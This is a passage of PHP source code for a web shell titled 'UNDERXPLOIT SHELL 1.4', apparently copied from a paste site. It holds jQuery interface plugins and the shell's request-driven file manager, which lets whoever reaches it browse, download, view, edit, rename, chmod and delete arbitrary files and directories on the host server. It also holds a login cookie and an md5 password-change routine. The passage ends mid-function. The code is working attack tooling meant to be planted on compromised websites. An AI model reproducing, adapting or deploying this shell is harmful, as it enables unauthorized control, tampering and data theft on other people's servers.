rotate2Animate{from{transform:rotate(-90deg);transform-origin:0% 100%;opacity:0}to{transform:rotate(0deg);opacity:1}}@-webkit-keyframes flipAnimate{from{transform:rotate3d(2,2,2,180deg);opacity:0}to{transform:rotate3d(0,0,0,0deg);opacity:1}}@-webkit-keyframes bounceAnimate{0%{transform:translateY(40px);opacity:0}30%{transform:translateY(-40px)}70%{transform:translateY(20px)}100%{transform:translateY(0);opacity:1}}.hidden{display:none}
  343. </style>
  344.  
  345. <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.js"></script>
  346. <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/highlight.min.js"></script>
  347. <script type="text/javascript">
  348. if ( typeof Object.create !== \'function\' ) {
  349. Object.create = function( obj ) {
  350. function F() {}
  351. F.prototype = obj;
  352. return new F();
  353. };
  354. }
  355.  
  356. (function( $, window, document, undefined ) {
  357.  
  358. var ToolBar = {
  359. init: function( options, elem ) {
  360. var self = this;
  361. self.elem = elem;
  362. self.$elem = $( elem );
  363. self.options = $.extend( {}, $.fn.toolbar.options, options );
  364. self.metadata = self.$elem.data();
  365. self.overrideOptions();
  366. self.toolbar = $(\'<div class="tool-container" />\')
  367. .addClass(\'tool-\'+self.options.position)
  368. .addClass(\'toolbar-\'+self.options.style)
  369. .append(\'<div class="tool-items" />\')
  370. .append(\'<div class="arrow" />\')
  371. .appendTo(\'body\')
  372. .css(\'opacity\', 0)
  373. .hide();
  374. self.toolbar_arrow = self.toolbar.find(\'.arrow\');
  375. self.initializeToolbar();
  376. },
  377.  
  378. overrideOptions: function() {
  379. var self = this;
  380. $.each( self.options, function( $option ) {
  381. if (typeof(self.$elem.data(\'toolbar-\'+$option)) != "undefined") {
  382. self.options[$option] = self.$elem.data(\'toolbar-\'+$option);
  383. }
  384. });
  385. },
  386.  
  387. initializeToolbar: function() {
  388. var self = this;
  389. self.populateContent();
  390. self.setTrigger();
  391. self.toolbarWidth = self.toolbar.width();
  392. },
  393.  
  394. setTrigger: function() {
  395. var self = this;
  396.  
  397. if (self.options.event != \'click\') {
  398.  
  399. var moveTime;
  400. function decideTimeout () {
  401. if (self.$elem.hasClass(\'pressed\')) {
  402. moveTime = setTimeout(function() {
  403. self.hide();
  404. }, 150);
  405. } else {
  406. clearTimeout(moveTime);
  407. };
  408. };
  409.  
  410. self.$elem.on({
  411. mouseenter: function(event) {
  412. if (self.$elem.hasClass(\'pressed\')) {
  413. clearTimeout(moveTime);
  414. } else {
  415. self.show();
  416. }
  417. }
  418. });
  419.  
  420. self.$elem.parent().on({
  421. mouseleave: function(event){ decideTimeout(); }
  422. });
  423.  
  424. $(\'.tool-container\').on({
  425. mouseenter: function(event){ clearTimeout(moveTime); },
  426. mouseleave: function(event){ decideTimeout(); }
  427. });
  428. }
  429.  
  430. if (self.options.event == \'click\') {
  431. self.$elem.on(\'click\', function(event) {
  432. event.preventDefault();
  433. if(self.$elem.hasClass(\'pressed\')) {
  434. self.hide();
  435. } else {
  436. self.show();
  437. }
  438. });
  439.  
  440. if (self.options.hideOnClick) {
  441. $(\'html\').on("click.toolbar", function ( event ) {
  442. if (event.target != self.elem &&
  443. self.$elem.has(event.target).length === 0 &&
  444. self.toolbar.has(event.target).length === 0 &&
  445. self.toolbar.is(":visible")) {
  446. self.hide();
  447. }
  448. });
  449. }
  450. }
  451.  
  452. if (self.options.hover) {
  453. var moveTime;
  454.  
  455. function decideTimeout () {
  456. if (self.$elem.hasClass(\'pressed\')) {
  457. moveTime = setTimeout(function() {
  458. self.hide();
  459. }, 150);
  460. } else {
  461. clearTimeout(moveTime);
  462. };
  463. };
  464.  
  465. self.$elem.on({
  466. mouseenter: function(event) {
  467. if (self.$elem.hasClass(\'pressed\')) {
  468. clearTimeout(moveTime);
  469. } else {
  470. self.show();
  471. }
  472. }
  473. });
  474.  
  475. self.$elem.parent().on({
  476. mouseleave: function(event){ decideTimeout(); }
  477. });
  478.  
  479. $(\'.tool-container\').on({
  480. mouseenter: function(event){ clearTimeout(moveTime); },
  481. mouseleave: function(event){ decideTimeout(); }
  482. });
  483. }
  484.  
  485. $(window).resize(function( event ) {
  486. event.stopPropagation();
  487. if ( self.toolbar.is(":visible") ) {
  488. self.toolbarCss = self.getCoordinates(self.options.position, 20);
  489. self.collisionDetection();
  490. self.toolbar.css( self.toolbarCss );
  491. self.toolbar_arrow.css( self.arrowCss );
  492. }
  493. });
  494. },
  495.  
  496. populateContent: function() {
  497. var self = this;
  498. var location = self.toolbar.find(\'.tool-items\');
  499. var content = $(self.options.content).clone( true ).find(\'a\').addClass(\'tool-item\');
  500. location.html(content);
  501. location.find(\'.tool-item\').on(\'click\', function(event) {
  502. event.preventDefault();
  503. self.$elem.trigger(\'toolbarItemClick\', this);
  504. });
  505. },
  506.  
  507. calculatePosition: function() {
  508. var self = this;
  509. self.arrowCss = {};
  510. self.toolbarCss = self.getCoordinates(self.options.position, self.options.adjustment);
  511. self.toolbarCss.position = \'absolute\';
  512. self.toolbarCss.zIndex = self.options.zIndex;
  513. self.collisionDetection();
  514. self.toolbar.css(self.toolbarCss);
  515. self.toolbar_arrow.css(self.arrowCss);
  516. },
  517.  
  518. getCoordinates: function( position, adjustment ) {
  519. var self = this;
  520. self.coordinates = self.$elem.offset();
  521.  
  522. if (self.options.adjustment && self.options.adjustment[self.options.position]) {
  523. adjustment = self.options.adjustment[self.options.position] + adjustment;
  524. }
  525.  
  526. switch(self.options.position) {
  527. case \'top\':
  528. return {
  529. left: self.coordinates.left-(self.toolbar.width()/2)+(self.$elem.outerWidth()/2),
  530. top: self.coordinates.top-self.$elem.outerHeight()-adjustment,
  531. right: \'auto\'
  532. };
  533. case \'left\':
  534. return {
  535. left: self.coordinates.left-(self.toolbar.width()/2)-(self.$elem.outerWidth()/2)-adjustment,
  536. top: self.coordinates.top-(self.toolbar.height()/2)+(self.$elem.outerHeight()/2),
  537. right: \'auto\'
  538. };
  539. case \'right\':
  540. return {
  541. left: self.coordinates.left+(self.toolbar.width()/2)+(self.$elem.outerWidth()/2)+adjustment,
  542. top: self.coordinates.top-(self.toolbar.height()/2)+(self.$elem.outerHeight()/2),
  543. right: \'auto\'
  544. };
  545. case \'bottom\':
  546. return {
  547. left: self.coordinates.left-(self.toolbar.width()/2)+(self.$elem.outerWidth()/2),
  548. top: self.coordinates.top+self.$elem.outerHeight()+adjustment,
  549. right: \'auto\'
  550. };
  551. }
  552. },
  553.  
  554. collisionDetection: function() {
  555. var self = this;
  556. var edgeOffset = 20;
  557. if(self.options.position == \'top\' || self.options.position == \'bottom\') {
  558. self.arrowCss = {left: \'50%\', right: \'50%\'};
  559. if( self.toolbarCss.left < edgeOffset ) {
  560. self.toolbarCss.left = edgeOffset;
  561. self.arrowCss.left = self.$elem.offset().left + self.$elem.width()/2-(edgeOffset);
  562. }
  563. else if(($(window).width() - (self.toolbarCss.left + self.toolbarWidth)) < edgeOffset) {
  564. self.toolbarCss.right = edgeOffset;
  565. self.toolbarCss.left = \'auto\';
  566. self.arrowCss.left = \'auto\';
  567. self.arrowCss.right = ($(window).width()-self.$elem.offset().left)-(self.$elem.width()/2)-(edgeOffset)-5;
  568. }
  569. }
  570. },
  571.  
  572. show: function() {
  573. var self = this;
  574. self.$elem.addClass(\'pressed\');
  575. self.calculatePosition();
  576. self.toolbar.show().css({\'opacity\': 1}).addClass(\'animate-\'+self.options.animation);
  577. self.$elem.trigger(\'toolbarShown\');
  578. },
  579.  
  580. hide: function() {
  581. var self = this;
  582. var animation = {\'opacity\': 0};
  583.  
  584. self.$elem.removeClass(\'pressed\');
  585.  
  586. switch(self.options.position) {
  587. case \'top\':
  588. animation.top = \'+=20\';
  589. break;
  590. case \'left\':
  591. animation.left = \'+=20\';
  592. break;
  593. case \'right\':
  594. animation.left = \'-=20\';
  595. break;
  596. case \'bottom\':
  597. animation.top = \'-=20\';
  598. break;
  599. }
  600.  
  601. self.toolbar.animate(animation, 200, function() {
  602. self.toolbar.hide();
  603. });
  604.  
  605. self.$elem.trigger(\'toolbarHidden\');
  606. },
  607.  
  608. getToolbarElement: function () {
  609. return this.toolbar.find(\'.tool-items\');
  610. }
  611. };
  612.  
  613. $.fn.toolbar = function( options ) {
  614. if ($.isPlainObject( options )) {
  615. return this.each(function() {
  616. var toolbarObj = Object.create( ToolBar );
  617. toolbarObj.init( options, this );
  618. $(this).data(\'toolbarObj\', toolbarObj);
  619. });
  620. } else if ( typeof options === \'string\' && options.indexOf(\'_\') !== 0 ) {
  621. var toolbarObj = $(this).data(\'toolbarObj\');
  622. var method = toolbarObj[options];
  623. return method.apply(toolbarObj, $.makeArray(arguments).slice(1));
  624. }
  625. };
  626.  
  627. $.fn.toolbar.options = {
  628. content: \'#myContent\',
  629. position: \'top\',
  630. hideOnClick: false,
  631. zIndex: 120,
  632. hover: false,
  633. style: \'default\',
  634. animation: \'standard\',
  635. adjustment: 10
  636. };
  637.  
  638. }) ( jQuery, window, document );
  639. </script>
  640. <script type="text/javascript"> baseUrl = window.location.href.split("?")[0]; window.history.pushState("name", "?", baseUrl);</script>
  641. <script type="text/javascript"> var to,width,height,position,autohide,opacity;function notifit_setDefaultValues(){width=400;height=60;position="right";autohide=!0;msg="";opacity=1} function notif(config){notifit_setDefaultValues();if(config.position){if(config.position=="center"||config.position=="left"||config.position=="right"){position=config.position}} if(config.width){if(config.width>0){width=config.width}else if(config.width==="all"){width=screen.width-60}} if(config.height){if(config.height<100&&config.height>0){height=config.height}} if(typeof config.autohide!=="undefined") autohide=config.autohide;var div="<div id=\'ui_notifIt\'><p>"+((config.msg)?config.msg:"")+"</p></div>";$("#ui_notifIt").remove();clearInterval(to);$("body").append(div);$("#ui_notifIt").css("height",height);$("#ui_notifIt").css("width",width);switch(position){case "center":$("#ui_notifIt").css("top",parseInt(0-(height+10)));break;case "right":$("#ui_notifIt").css("right",parseInt(0-(width+10)));break;case "left":$("#ui_notifIt").css("left",parseInt(0-(width+10)));break;default:$("#ui_notifIt").css("right",parseInt(0-(width+10)));break} if(config.opacity){$("#ui_notifIt").css("opacity",config.opacity)} switch(config.type){case "error":$("#ui_notifIt").addClass("error");break;case "success":$("#ui_notifIt").addClass("success");break;case "info":$("#ui_notifIt").addClass("info");break;case "warning":$("#ui_notifIt").addClass("warning");break;default:$("#ui_notifIt").addClass("default");break} switch(position){case "left":$("#ui_notifIt").css("left",parseInt(0-(width*2)));break;case "right":$("#ui_notifIt").css("right",parseInt(0-(width*2)));break;case "center":var mid=window.innerWidth/2;$("#ui_notifIt").css("left",mid-parseInt(width/2));break;default:var mid=window.innerWidth/2;$("#ui_notifIt").css("left",mid-parseInt(width/2));break} $("#ui_notifIt p").css("line-height",height+"px");switch(position){case "center":$("#ui_notifIt").animate({top:10});break;case "right":$("#ui_notifIt").animate({right:10});break;case "left":$("#ui_notifIt").animate({left:10});break;default:$("#ui_notifIt").animate({right:10});break} $("#ui_notifIt").click(function(){notifit_dismiss()});if(autohide==!0) to=setTimeout(function(){notifit_dismiss()},5000)} function notifit_dismiss(){clearInterval(to);if(position=="center"){$("#ui_notifIt").animate({top:parseInt(height-(height/2))},100,function(){$("#ui_notifIt").animate({top:parseInt(0-(height*2))},100,function(){$("#ui_notifIt").remove()})})}else if(position=="right"){$("#ui_notifIt").animate({right:parseFloat(width-(width*0.9))},100,function(){$("#ui_notifIt").animate({right:parseInt(0-(width*2))},100,function(){$("#ui_notifIt").remove()})})}else if(position=="left"){$("#ui_notifIt").animate({left:parseFloat(width-(width*0.9))},100,function(){$("#ui_notifIt").animate({left:parseInt(0-(width*2))},100,function(){$("#ui_notifIt").remove()})})} notifit_setDefaultValues()}</script>
  642. <script type="text/javascript">
  643. (function($) {
  644. $.fn.linedtextarea = function(options) {
  645. var opts = $.extend({}, $.fn.linedtextarea.defaults, options);
  646. var fillOutLines = function(codeLines, h, lineNo) {
  647. while ((codeLines.height() - h) <= 0) {
  648. if (lineNo == opts.selectedLine)
  649. codeLines.append("<div class=\'lineno lineselect\'>" + lineNo + "</div>");
  650. else codeLines.append("<div class=\'lineno\'>" + lineNo + "</div>");
  651. lineNo++
  652. }
  653. return lineNo
  654. };
  655. return this.each(function() {
  656. var lineNo = 1;
  657. var textarea = $(this);
  658. textarea.attr("wrap", "off");
  659. textarea.css({
  660. resize: \'none\'
  661. });
  662. var originalTextAreaWidth = textarea.outerWidth();
  663. textarea.wrap("<div class=\'linedtextarea\'></div>");
  664. var linedTextAreaDiv = textarea.parent().wrap("<div class=\'linedwrap\' style=\'width:" + originalTextAreaWidth + "px\'></div>");
  665. var linedWrapDiv = linedTextAreaDiv.parent();
  666. linedWrapDiv.prepend("<div class=\'lines\' style=\'width:39px\'></div>");
  667. var linesDiv = linedWrapDiv.find(".lines");
  668. linesDiv.height(textarea.height() + 6);
  669. linesDiv.append("<div class=\'codelines\'></div>");
  670. var codeLinesDiv = linesDiv.find(".codelines");
  671. lineNo = fillOutLines(codeLinesDiv, linesDiv.height(), 1);
  672. if (opts.selectedLine != -1 && !isNaN(opts.selectedLine)) {
  673. var fontSize = parseInt(textarea.height() / (lineNo - 2));
  674. var position = parseInt(fontSize * opts.selectedLine) - (textarea.height() / 2);
  675. textarea[0].scrollTop = position
  676. }
  677. var sidebarWidth = linesDiv.outerWidth();
  678. var paddingHorizontal = parseInt(linedWrapDiv.css("border-left-width")) + parseInt(linedWrapDiv.css("border-right-width")) + parseInt(linedWrapDiv.css("padding-left")) + parseInt(linedWrapDiv.css("padding-right"));
  679. var linedWrapDivNewWidth = originalTextAreaWidth - paddingHorizontal;
  680. var textareaNewWidth = originalTextAreaWidth - sidebarWidth - paddingHorizontal - 20;
  681. textarea.width(textareaNewWidth);
  682. linedWrapDiv.width(linedWrapDivNewWidth);
  683. textarea.scroll(function(tn) {
  684. var domTextArea = $(this)[0];
  685. var scrollTop = domTextArea.scrollTop;
  686. var clientHeight = domTextArea.clientHeight;
  687. codeLinesDiv.css({
  688. \'margin-top\': (-1 * scrollTop) + "px"
  689. });
  690. lineNo = fillOutLines(codeLinesDiv, scrollTop + clientHeight, lineNo)
  691. });
  692. textarea.resize(function(tn) {
  693. var domTextArea = $(this)[0];
  694. linesDiv.height(domTextArea.clientHeight + 6)
  695. })
  696. })
  697. };
  698. $.fn.linedtextarea.defaults = {
  699. selectedLine: -1,
  700. selectedClass: \'lineselect\'
  701. }
  702. })(jQuery) </script>';
  703. print '<i class="zmdi zmdi-long-arrow-up zmdi-hc-fw move-top"></i>';
  704. print '<script type="text/javascript">
  705. jQuery(document).ready(function() {
  706. var offset = 250;
  707. var duration = 500;
  708. jQuery(window).scroll(function() {
  709. if (jQuery(this).scrollTop() > offset) {
  710. jQuery(\'.move-top\').fadeIn(duration);
  711. } else {
  712. jQuery(\'.move-top\').fadeOut(duration);
  713. }
  714. });
  715. jQuery(\'.move-top\').click(function(event) {
  716. event.preventDefault();
  717. jQuery(\'html, body\').animate({
  718. scrollTop: 0
  719. }, duration);
  720. return false;
  721. })
  722. }); </script>
  723. <script type="text/javascript">
  724. function c(x) {
  725. window.location = x
  726. } </script>
  727. <script type="text/javascript">jQuery(document).ready(function() {
  728. var offsets=100;
  729. var durations=500;
  730. jQuery(window).scroll(function() {
  731. if(jQuery(this).scrollTop() > offsets) {
  732. jQuery(\'#judul\').fadeIn(durations);
  733. jQuery(\'.menus\').css({\'background\' : \'#222\', \'box-shadow\' : \'0 1px 5px rgba(27,31,35,.15)\'});
  734. }
  735. else {
  736. jQuery(\'#judul\').fadeOut(durations);
  737. jQuery(\'.menus\').css(\'background\', \'none\');
  738. }
  739. }
  740. );
  741. }); </script>
  742. <style> .icon { color: #1D9D73; } </style>
  743. <script type="text/javascript">hljs.initHighlightingOnLoad();</script>
  744. </head>
  745. <body>
  746. <div class="co-ontainer-2">
  747. <div class="atas">
  748. <div id="particles-js"></div>
  749. <div class="menus atas-ae" style="background:none">
  750. <div class="co-ontainer-3"><span id="judul" class="">UNDERXPLOIT SHELL 1.4</span>
  751. <button class="xa" onclick=\'c("'.$_SERVER['PHP_SELF']. '")\'><i class="zmdi zmdi-home zmdi-hc-fw"></i></button>
  752. <button class="xa" onclick=\'c("?' .x5.getcwd(). '&' .x7. 'about")\'><i class="zmdi zmdi-account-o zmdi-hc-fw"></i></button>
  753. <button class="xa" onclick=\'c("?' .x5.getcwd(). '&' .x7. 'logout")\'><i class="zmdi zmdi-power zmdi-hc-fw"></i></button>
  754. </div>
  755. </div>
  756. </div>
  757. <div class="dir">
  758. <table style="width:100%">
  759. <td style="width:100%">
  760. <div class="dir-pallet">
  761. <table>
  762. <td class="dir-td-left"><span class="label-success">ROOT</span> :</td>
  763. <td class="break dir-td-right wrap">';
  764.  
  765. foreach($scdir as $c_dir => $cdir) {
  766. print '<a class="a" onclick="c(\'?' . x5;
  767. for ($i = 0; $i <= $c_dir; $i++) {
  768. print $scdir[$i];
  769. switch (true) {
  770. case ($i != $c_dir): print '/';
  771. }
  772. } print '\')">' . $cdir . '</a>/';
  773. }
  774. print '</td></table></div></th></table></div>';
  775. $filez = basename($_UNDERXPLOIT['file']);
  776. $size = filesize("$dir/$filez") / 1024;
  777. $size = round($size, 3);
  778.  
  779. switch (true) {
  780. case ($size > 1024): $size = round($size / 1024, 2) . ' MB';
  781. break;
  782. default: $size = $size . ' KB';
  783. }
  784. print '<div class="coL">';
  785.  
  786. switch ($_UNDERXPLOIT['command']) {
  787. case 'logout': r($_SERVER['PHP_SELF']);
  788. setcookie(md5($_SERVER['HTTP_HOST']), time() - 3600);
  789. break;
  790.  
  791. case 'download': $dir = $_UNDERXPLOIT['file'];
  792. $file = file_get_contents($dir); ob_end_clean();
  793. header("Content-type: application/octet-stream");
  794. header("Content-length: " . strlen($file));
  795. header("Content-disposition: attachment; filename=" . basename($dir));
  796. print $file;
  797. die();
  798. break;
  799.  
  800. case 'delete': $delete = unlink($_UNDERXPLOIT['file']);
  801. switch (true) {
  802. case ($delete): print '<script type="text/javascript">c("?' . x5 . $dir . '");</script>';
  803. break;
  804. default: bacot('Permission denied');
  805. }
  806. break;
  807.  
  808. case 'deledir': $xzi = deledir($dir);
  809. switch (true) {
  810. case '$xzi': print '<script type="text/javascript">window.location = "?' . x5 . dirname($dir) . '";</script>';
  811. break;
  812. default: print '<script type="text/javascript">window.location = "?' . x5 . dirname($dir) . '";</script>';
  813. bacot('Permission denied');
  814. }
  815. break;
  816.  
  817. case 'view': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SOURCE VIEWER</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span></td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  818. print "<table>
  819. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></th>
  820. <th><a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
  821. <th><a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
  822. <th><a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>
  823. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>";
  824. $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT['file']));
  825. switch (true) {
  826. case (empty($source)): print x9;
  827. bacot('Source not found');
  828. break;
  829. default: print '<div id="paksa"><pre class="top"><code class="php">' . $source . '</code></pre></div></div>';
  830. }
  831. break;
  832.  
  833. case 'edit': switch (true) {
  834. case ($_UNDERXPLOIT['save']): $save = file_put_contents($_UNDERXPLOIT['file'], $_UNDERXPLOIT['src']);
  835. switch (true) {
  836. case ($save) : bacot('Source saved');
  837. break;
  838. detault: bacot('Permission denied');
  839. }
  840. }
  841.  
  842. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">EDIT SOURCE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span> </td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  843. print "<table>
  844. <th><a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
  845. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></th>
  846. <th><a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
  847. <th><a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>
  848. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>";
  849. $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT['file']));
  850.  
  851. switch (true) {
  852. case (empty($source)): print "<form method='post' action='?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "' style='margin:0px'>";
  853. print '<script type="text/javascript">
  854. $(function() {
  855. $(".lined").linedtextarea({selectedLine: 1});
  856. }); </script>';
  857. print "<div id='paksa'><textarea name='src' class='lined' placeholder='// this editor only works for source code.'></textarea><input type='submit' class='btn-exe' value='SAVE' name='save' style='margin-top:3px;width: 100%'></form></div></div>";
  858. break;
  859. default: print "<form method='post' action='?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "' style='margin:0px'>";
  860. print '<script type="text/javascript">
  861. $(function() {
  862. $(".lined").linedtextarea({selectedLine: 1});
  863. }); </script>';
  864. print "<div id='paksa'><textarea name='src' class='lined' placeholder='// this editor only works for source code.'>" . $source . "</textarea><input type='submit' value='SAVE' name='save' class='btn-exe' style='margin-top:3px;width: 100%'></form></div></div>";
  865. }
  866. break;
  867.  
  868. case 'rename': switch (true) {
  869. case ($_UNDERXPLOIT['rename']):
  870. $rename = rename($_UNDERXPLOIT['file'], "$dir/" . htmlspecialchars($_UNDERXPLOIT['rename']) . "");
  871. switch (true) {
  872. case ($rename): mtr("?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $dir . "/" . $_UNDERXPLOIT["rename"]);
  873. bacot('File renamed');
  874. break;
  875. default: bacot('Permission denied');
  876. }
  877. }
  878.  
  879. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME FILE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span></td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  880. print "<table>
  881. <th><a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
  882. <th><a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
  883. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></th>
  884. <th><a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></a></th>
  885. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>
  886. <div class='coL-option top'><br /><br />
  887. <center>
  888. <i class='zmdi zmdi-file-text zmdi-hc-fw zmdi-hc-4x'></i></center><br /><br /><form action='?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "' style='margin:0px' method='post'>
  889. <table cellspacing='0'>
  890. <td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'><input type='text' value='" . basename($_UNDERXPLOIT['file']) . "' name='rename' id='vrn'></td><td style='width:20%'>
  891. <button type='submit' class='btn-exe' id='rn' onclick='rnm(); return false'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table>
  892. </form></div></div>";
  893. print '<script type="text/javascript">function rnm(){
  894. if(document.getElementById("vrn").value == ""){'; s('Form do not leave empty');
  895. print 'document.getElementById("vrn").focus();
  896. return false;
  897. } document.getElementById("rn").submit();
  898. } </script>';
  899. break;
  900.  
  901. case 'chmod': switch (true) {
  902. case ($_UNDERXPLOIT['perm']):
  903. switch (true) {
  904. case (chmod($_UNDERXPLOIT['file'], octdec($_UNDERXPLOIT['perm']))): mtr("?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file']);
  905. bacot('Items changed mode to '.decoct(octdec($_UNDERXPLOIT['perm'])));
  906. break;
  907. default: bacot('Permission denied');
  908. }
  909. }
  910.  
  911. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHMOD FILE</td></table></div><div class="coL-option"><table><td align="center" style="width:30px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i> </td><td class="elip"><span class="label-success">[</span> ' . basename($_UNDERXPLOIT['file']) . ' <span class="label-success">]</span> </td><td style="width:90px" class="coL-option-panel" align="center" onclick=\'c("?' . x7 . 'download&' . x5 . $dir . '&' . x6 . $dir . '/' . basename($_UNDERXPLOIT['file']) . '")\'>' . $size . '</td></table><hr>';
  912. print "<table>
  913. <th><a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-eye zmdi-hc-fw'></i></button></a></th>
  914. <th><a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-edit zmdi-hc-fw'></i></button></a></th>
  915. <th><a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-file-text zmdi-hc-fw'></i></button></a></th>
  916. <th><button class='coL-btn-option-active'><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></button></th>
  917. <th><a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "')\"><button class='coL-btn-option'><i class='zmdi zmdi-delete zmdi-hc-fw'></i></button></a></th></table></div>
  918. <div class='coL-option top'><br /><br>
  919. <center>
  920. <i class='zmdi zmdi-wrench zmdi-hc-fw zmdi-hc-4x'></i></center><br><br />
  921. <form action='?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $_UNDERXPLOIT['file'] . "' style='margin:0px' method='post'>
  922. <table cellspacing='0'>
  923. <td align='center' style='width:10%'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i> </td><td style='width:70%'>
  924. <input type='number' value='" . substr(sprintf("%o", fileperms($_UNDERXPLOIT['file'])) , -4) . "' name='perm' style='width:100%' id='decoct'></td><td style='width:20%'>
  925. <button id='chcrot' class='btn-exe' onclick='chmod(); return false'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></table>
  926. </form></div></div>";
  927. print '<script type="text/javascript">function chmod(){
  928. if(document.getElementById("decoct").value == ""){'; s('Form do not leave empty');
  929. print 'document.getElementById("decoct").focus();
  930. return false;
  931. } document.getElementById("chcrot").submit();
  932. } </script>';
  933. break;
  934.  
  935. case 'change': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CHANGE PASSWORD</td></table></div>';
  936. function xs($file) {
  937. return file_get_contents($file);
  938. }
  939.  
  940. function chipt($plain) {
  941. return md5($plain);
  942. }
  943.  
  944. function changepass($plain) {
  945. $npass = chipt($plain);
